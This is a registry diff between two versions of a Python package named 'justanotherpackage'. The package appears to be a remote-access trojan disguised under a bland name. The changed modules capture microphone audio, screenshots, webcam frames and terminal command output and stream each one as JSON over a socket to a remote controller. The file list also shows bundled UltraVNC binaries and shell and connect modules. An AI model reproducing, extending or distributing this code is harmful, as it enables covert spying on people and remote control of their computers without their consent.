justanotherpackage 0.2.5__py3-none-any.whl → 0.3.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- justanotherpackage/features/audio.py +7 -2
- justanotherpackage/features/screenshot.py +8 -5
- justanotherpackage/features/terminal.py +9 -2
- justanotherpackage/features/webcam.py +10 -7
- {justanotherpackage-0.2.5.dist-info → justanotherpackage-0.3.0.dist-info}/METADATA +1 -1
- {justanotherpackage-0.2.5.dist-info → justanotherpackage-0.3.0.dist-info}/RECORD +8 -8
- {justanotherpackage-0.2.5.dist-info → justanotherpackage-0.3.0.dist-info}/WHEEL +0 -0
- {justanotherpackage-0.2.5.dist-info → justanotherpackage-0.3.0.dist-info}/top_level.txt +0 -0
@@ -1,5 +1,6 @@
|
|
1
1
|
import pyaudio
|
2
2
|
import json
|
3
|
+
import base64
|
3
4
|
|
4
5
|
def start_audio_stream(client_socket):
|
5
6
|
p = pyaudio.PyAudio()
|
@@ -24,9 +25,13 @@ def start_audio_stream(client_socket):
|
|
24
25
|
while True:
|
25
26
|
try:
|
26
27
|
audio_data = stream.read(1024)
|
27
|
-
|
28
|
+
|
29
|
+
encoded_audio = base64.b64encode(audio_data).decode('utf-8')
|
30
|
+
|
31
|
+
audio_json = json.dumps({"audio": encoded_audio})
|
32
|
+
client_socket.sendall(audio_json.encode('utf-8'))
|
28
33
|
except (ConnectionError, ConnectionResetError):
|
29
34
|
pass
|
30
35
|
except Exception as e:
|
31
36
|
message = f"From Remote: {str(e)}"
|
32
|
-
client_socket.sendall(json.dumps({"logger": message}).encode())
|
37
|
+
client_socket.sendall(json.dumps({"logger": message}).encode())
|
@@ -16,12 +16,15 @@ def send_screenshot(client_socket):
|
|
16
16
|
screenshot.save(buffer, format="PNG")
|
17
17
|
screenshot_data = buffer.getvalue()
|
18
18
|
|
19
|
-
|
19
|
+
screenshot_json = {
|
20
|
+
"screenshot": {
|
21
|
+
"length": len(screenshot_data),
|
22
|
+
"data": screenshot_data.decode("latin1")
|
23
|
+
}
|
24
|
+
}
|
25
|
+
|
26
|
+
client_socket.sendall(json.dumps(screenshot_json).encode('utf-8'))
|
20
27
|
|
21
|
-
total_sent = 0
|
22
|
-
while total_sent < len(screenshot_data):
|
23
|
-
sent = client_socket.send(screenshot_data[total_sent:])
|
24
|
-
total_sent += sent
|
25
28
|
except (ConnectionError, ConnectionResetError):
|
26
29
|
pass
|
27
30
|
except Exception as e:
|
@@ -17,9 +17,16 @@ def terminal(data, client_socket, shell, stdout_queue, stderr_queue):
|
|
17
17
|
while not stderr_queue.empty():
|
18
18
|
output += stderr_queue.get_nowait()
|
19
19
|
|
20
|
-
|
20
|
+
response = {
|
21
|
+
"terminal": {
|
22
|
+
"command": command,
|
23
|
+
"output": output if output else "Command executed successfully."
|
24
|
+
}
|
25
|
+
}
|
26
|
+
|
27
|
+
client_socket.sendall(json.dumps(response).encode('utf-8'))
|
21
28
|
except (ConnectionError, ConnectionResetError):
|
22
29
|
pass
|
23
30
|
except Exception as e:
|
24
31
|
message = f"From Remote: {str(e)}"
|
25
|
-
client_socket.sendall(json.dumps({"logger": message}).encode())
|
32
|
+
client_socket.sendall(json.dumps({"logger": message}).encode())
|
@@ -10,7 +10,7 @@ def send_webcam_stream(client_socket):
|
|
10
10
|
client_socket.sendall(json.dumps({"logger": "No webcam device found"}).encode())
|
11
11
|
return
|
12
12
|
except (ConnectionError, ConnectionResetError):
|
13
|
-
|
13
|
+
pass
|
14
14
|
except Exception as e:
|
15
15
|
message = f"From Remote: {str(e)}"
|
16
16
|
client_socket.sendall(json.dumps({"logger": message}).encode())
|
@@ -24,13 +24,16 @@ def send_webcam_stream(client_socket):
|
|
24
24
|
|
25
25
|
_, jpeg_frame = cv2.imencode('.jpg', frame)
|
26
26
|
frame_data = jpeg_frame.tobytes()
|
27
|
+
frame_data_length = len(frame_data)
|
27
28
|
|
28
|
-
|
29
|
+
webcam_data = {
|
30
|
+
"webcam": {
|
31
|
+
"length": frame_data_length,
|
32
|
+
"data": frame_data.decode("latin1")
|
33
|
+
}
|
34
|
+
}
|
29
35
|
|
30
|
-
|
31
|
-
while total_sent < len(frame_data):
|
32
|
-
sent = client_socket.send(frame_data[total_sent:])
|
33
|
-
total_sent += sent
|
36
|
+
client_socket.sendall(json.dumps(webcam_data).encode())
|
34
37
|
|
35
38
|
cap.release()
|
36
39
|
client_socket.sendall(json.dumps({"logger": "Webcam streaming stopped."}).encode())
|
@@ -38,4 +41,4 @@ def send_webcam_stream(client_socket):
|
|
38
41
|
pass
|
39
42
|
except Exception as e:
|
40
43
|
message = f"From Remote: {str(e)}"
|
41
|
-
client_socket.sendall(json.dumps({"logger": message}).encode())
|
44
|
+
client_socket.sendall(json.dumps({"logger": message}).encode())
|
@@ -3,11 +3,11 @@ justanotherpackage/account_type.py,sha256=YH4zvnWs4EmFXjeMGuyNtMf86PeQgY2U22yt2V
|
|
3
3
|
justanotherpackage/connect.py,sha256=uEZGlYNDqt-kFTdzVVBGUi6uMy9ClN8pdd5WGVXIFlA,4037
|
4
4
|
justanotherpackage/shell.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
|
5
5
|
justanotherpackage/features/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
|
6
|
-
justanotherpackage/features/audio.py,sha256=
|
6
|
+
justanotherpackage/features/audio.py,sha256=3zVrrtWUfOzGF7uLmbMqWUjcbZ2Y-AP5It-uOK2eW0M,1207
|
7
7
|
justanotherpackage/features/remote_desktop.py,sha256=R_zxX_tJolFTGrUKZ5UghNN9F1Qzo_oyT8Ek4m4I26E,2009
|
8
|
-
justanotherpackage/features/screenshot.py,sha256=
|
9
|
-
justanotherpackage/features/terminal.py,sha256=
|
10
|
-
justanotherpackage/features/webcam.py,sha256=
|
8
|
+
justanotherpackage/features/screenshot.py,sha256=0k0VnV-SNSQHkgtpKOYhJ5r0WW5jpJ9XkU9l-Wqa3Ck,971
|
9
|
+
justanotherpackage/features/terminal.py,sha256=_y_TMs4FoA1TV6yEpIrEeJxiBp7k-c3SOt0Tu1DIv6o,1013
|
10
|
+
justanotherpackage/features/webcam.py,sha256=n_-MnixHbEc6cg4Np1lhk3mQq1UZ6oX327D0jMspzQ8,1501
|
11
11
|
justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
|
12
12
|
justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
|
13
13
|
justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
|
@@ -17,7 +17,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
|
|
17
17
|
justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
|
18
18
|
justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
|
19
19
|
justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
|
20
|
-
justanotherpackage-0.
|
21
|
-
justanotherpackage-0.
|
22
|
-
justanotherpackage-0.
|
23
|
-
justanotherpackage-0.
|
20
|
+
justanotherpackage-0.3.0.dist-info/METADATA,sha256=Q8Zz9TAmWnJIs5mCtNWjGqxlpAj52GeHC7cMalZ1KOw,115
|
21
|
+
justanotherpackage-0.3.0.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
|
22
|
+
justanotherpackage-0.3.0.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
|
23
|
+
justanotherpackage-0.3.0.dist-info/RECORD,,
|
File without changes
|
File without changes
|